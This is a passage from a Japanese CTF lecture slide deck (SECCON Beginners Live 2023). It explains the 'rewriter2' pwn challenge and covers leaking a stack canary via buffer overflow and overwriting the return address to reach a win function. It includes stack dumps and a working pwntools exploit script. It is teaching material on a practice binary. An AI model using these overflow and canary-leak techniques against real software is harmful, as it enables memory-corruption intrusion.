2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる - 初期状態でmain関数のスタックは図のようになっている $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x00007fa2725142e8 <- buf 0x00007ffcd81827b8 | 0x00000000004014e0 0x00007ffcd81827c0 | 0x0000000000000000 0x00007ffcd81827c8 | 0x0000000000401110 0x00007ffcd81827d0 | 0x00007ffcd81828d0 0x00007ffcd81827d8 | 0x2154d067320a2c00 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 64

Slide 65

Slide 65 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる - 1回目の書き込みでcanaryまでの0x29バイトを書き換える $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 65

Slide 66

Slide 66 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / canaryをリークさせる (続き) What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ }? - 名前を表示する処理でバッファーの中身とcanaryが出力される $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 66

Slide 67

Slide 67 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / なぜcanaryがリークされたのか - C言語の文字列では0x00(ヌル文字)で終端を表す 67 “hoge” -> [0x68 0x6f 0x67 0x65 0x00]

Slide 68

Slide 68 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / なぜcanaryがリークされたのか - bufからcanaryの間のデータを0x00でないデータに置換することで canaryが文字列の一部として解釈された - 注: canaryのLSBは常に0x00に設定されるためこれを書き換える必要がある $ ./rewriter2 [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c20 <- canary 0x00007ffcd81827e0 | 0x0000000000000000 <- saved rbp 0x00007ffcd81827e8 | 0x00007fa272347083 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 68

Slide 69

Slide 69 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える - rewriterと同じくwin関数を呼び出せばフラグが手に入る - win関数のアドレスは0x4012c2 $ nm ./rewriter2 [...] 00000000004012c2 T win 69

Slide 70

Slide 70 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える - 2回目の書き込みで、canaryの値に注意しつつリターンアドレスを書き換える [Addr] | [Value] ====================+=================== 0x00007ffcd81827b0 | 0x4141414141414141 <- buf 0x00007ffcd81827b8 | 0x4141414141414141 0x00007ffcd81827c0 | 0x4141414141414141 0x00007ffcd81827c8 | 0x4141414141414141 0x00007ffcd81827d0 | 0x4141414141414141 0x00007ffcd81827d8 | 0x2154d067320a2c00 <- canary 0x00007ffcd81827e0 | 0x4141414141414141 <- saved rbp 0x00007ffcd81827e8 | 0x00000000004012c2 <- saved ret addr 0x00007ffcd81827f0 | 0x00007fa272556620 0x00007ffcd81827f8 | 0x00007ffcd81828d8 70

Slide 71

Slide 71 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / リターンアドレスを書き換える - win関数のアドレスをそのままリターンアドレスに設定するとsegfaultで 異常終了する - リターンアドレスの書き換えによってスタックが異常な状態になるため - win関数の先頭のpushをスキップして0x4012c7に飛ばすとよい $ objdump -d rewriter2 | grep -A 3 win 00000000004012c2 : 4012c2: f3 0f 1e fa endbr64 4012c6: 55 push %rbp 4012c7: 48 89 e5 mov %rsp,%rbp 71

Slide 72

Slide 72 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b rewriter2 / まとめ - 脆弱性 - ローカル変数bufに関するBOF - 解法 1. BOFでcanaryをリークさせる 2. BOFでリターンアドレスを書き換える from pwn import * p = process("./rewriter2") payload = b"A" * 0x28 p.sendlineafter(b"What's your name? ", payload) p.recvline() canary = (u64(p.recvline()) << 8) & (pow(2, 64) - 1) payload = b"A" * 0x28 + p64(canary) + p64(0) + p64(elf.symbols["win"] + 5) p.sendlineafter(b"How old are you? ", payload) p.interactive() 72

Slide 73

Slide 73 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b まとめ - 今回話したこと - pwnの概要 - 問題解説 - poem: 符号付き整数の範囲チェック - rewriter: リターンアドレス書き換え - rewriter2: BOF + リターンアドレス書き換え 73

Slide 74

Slide 74 text

2023/09/03 SECCON Beginners Live 2023 | #ctf4b 付録 - おすすめのCTF(全ジャンル) - CpawCTF - WaniCTF - SECCON Beginners CTF - おすすめの日本語資料 - 『詳解セキュリティコンテスト CTFで学ぶ脆弱性攻略の技術』 - 『解題pwnable セキュリティコンテストに挑戦しよう!』 - https://p3land.smallkirby.com/ 74